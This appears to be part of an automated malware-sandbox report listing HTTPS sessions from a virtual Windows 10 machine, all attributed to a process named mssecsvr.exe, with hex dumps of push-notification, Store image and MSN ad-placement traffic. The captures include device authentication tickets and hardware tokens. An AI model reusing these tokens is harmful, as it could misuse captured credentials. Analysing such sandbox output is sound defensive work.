2022-07-20 17:07:25 UTC	434	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 61 32 31 62 64 35 66 37 31 30 36 37 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 47fa21bd5f71067b
2022-07-20 17:07:25 UTC	434	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:25 UTC	434	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 61 32 31 62 64 35 66 37 31 30 36 37 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 47fa21bd5f71067b<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:25 UTC	435	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 61 32 31 62 64 35 66 37 31 30 36 37 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 47fa21bd5f71067b
2022-07-20 17:07:25 UTC	435	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:25 UTC	435	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 31 52 52 4a 49 55 65 54 30 47 4e 34 70 4b 45 42 70 4f 54 6a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: T1RRJIUeT0GN4pKEBpOTjg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	50329	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:26 UTC	435	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 62 34 30 39 62 63 33 31 39 35 32 39 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 8c2b409bc319529f
2022-07-20 17:07:26 UTC	435	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:26 UTC	435	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 62 34 30 39 62 63 33 31 39 35 32 39 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 8c2b409bc319529f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:26 UTC	436	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 62 34 30 39 62 63 33 31 39 35 32 39 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 8c2b409bc319529f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:07:26 UTC	436	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:26 UTC	436	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 37 64 6d 41 61 59 4e 4a 6b 36 47 49 44 70 42 45 35 52 44 45 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: z7dmAaYNJk6GIDpBE5RDEg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	50348	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:27 UTC	436	OUT	GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:27 UTC	437	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2629 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E" MS-CV: uTeCNqL8s0mgIiPD.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:27 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:27 UTC	437	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!(QAqCTP8D!(QAq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	50369	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:28 UTC	440	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 35 64 30 31 61 38 35 65 38 65 30 34 32 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 8a5d01a85e8e0423
2022-07-20 17:07:28 UTC	440	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:28 UTC	440	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 35 64 30 31 61 38 35 65 38 65 30 34 32 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 8a5d01a85e8e0423<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:28 UTC	441	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 35 64 30 31 61 38 35 65 38 65 30 34 32 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 8a5d01a85e8e0423
2022-07-20 17:07:28 UTC	441	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:28 UTC	441	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 5a 32 4f 6a 50 6a 6e 47 45 61 6d 63 4b 69 58 41 56 49 37 51 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gZ2OjPjnGEamcKiXAVI7QQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	50371	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:28 UTC	441	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020727Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b2d59c86c1cd4929a310f6e549c159ea&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338387&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:29 UTC	445	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24630 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002880209+B+P90+S1,P425615666-T700383923-C128000000003288669+B+P60+S2,P400090958-T700355890-C128000000003518689+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000002880209_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003518689_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: EvNMwBPbS2ddTOgYv2dBqgq+g+VZ1iqIvOtc9qK8ci4iy7ja7qBEK4aTh7cHGsBduZzi/LNIKpuwTdUeYcIU3kNvMRZ+IQaBGArPTzchndGp+Nb3914IRy01Yown0nuvrOCoH8q6KEg1t7tz/ntOk8aREZBLwZMjshmxw4nN8LR9CMjIk+esbTjRn29YV9UTJQ+zOFpwZ/AmjEOOVy48ZVei/RFWWYrufF3Sw7DcbgMTAsR04Kzb7i72nzouzfpQEWeUkSBTGG5uzgydo0F0/NGhbS9mKNgNQrmp1k2LUdrNBtB9HujBfol5FyEGsq0t5mDcfKCZZfKP9iwFAsYGFg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:28 GMT Connection: close
2022-07-20 17:07:29 UTC	447	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 17:07:29 UTC	461	IN	Data Raw: 38 32 35 37 39 35 30 35 32 37 39 35 32 33 39 26 4c 4f 43 41 4c 49 44 3d 77 3a 45 45 34 38 39 30 43 35 2d 39 30 41 45 2d 35 39 45 32 2d 35 41 43 35 2d 43 32 30 41 41 36 36 35 34 35 39 32 26 44 53 5f 45 56 54 49 44 3d 64 61 63 62 64 35 31 64 34 63 35 39 34 33 62 66 61 30 38 63 35 33 32 32 39 64 31 65 31 37 65 32 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 46 32 43 37 39 42 42 31 2d 32 32 30 34 2d 34 37 33 30 2d 39 41 46 46 2d 44 41 38 31 39 38 41 37 34 43 41 31 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 42 32 44 35 39 43 38 36 43 31 Data Ascii: 825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=dacbd51d4c5943bfa08c53229d1e17e2&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=F2C79BB1-2204-4730-9AFF-DA8198A74CA1&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=B2D59C86C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	50374	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:28 UTC	443	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020728Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=34cd7b0bf17e4fc0a63593532e4cfee6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338388&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:29 UTC	471	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4487 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Uvoi8nfvkzaeXM12J+fcT1fEIew6L4fLwMZwVNDQa0Ur/0naya4xr8cg1Z1R3t+qNDCToTULwmqkpHIbX32RXKFkz0a/3hPecpxWiVZZauEB1U+izJmvojiRUAliIUWZNrpIloAiO9/Osf7iSrAbDqWjGCf9EJIoWM+Dzi8E4VO2ZvN+U3mksW8vASVOMPa5a2EB8XbihlROBKDFRUYVrgjwf+54cjXKWOHO+O/SSjvYT+k4Sm2mImjSttCw58sAjRbV0HKpMdtebdvsADykQIa/G3tdcKmK16FuzahRxhG3BC7I9REKQdtwpDhGiTFBlhe52YPGAFfelJ+V/JC5sg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version 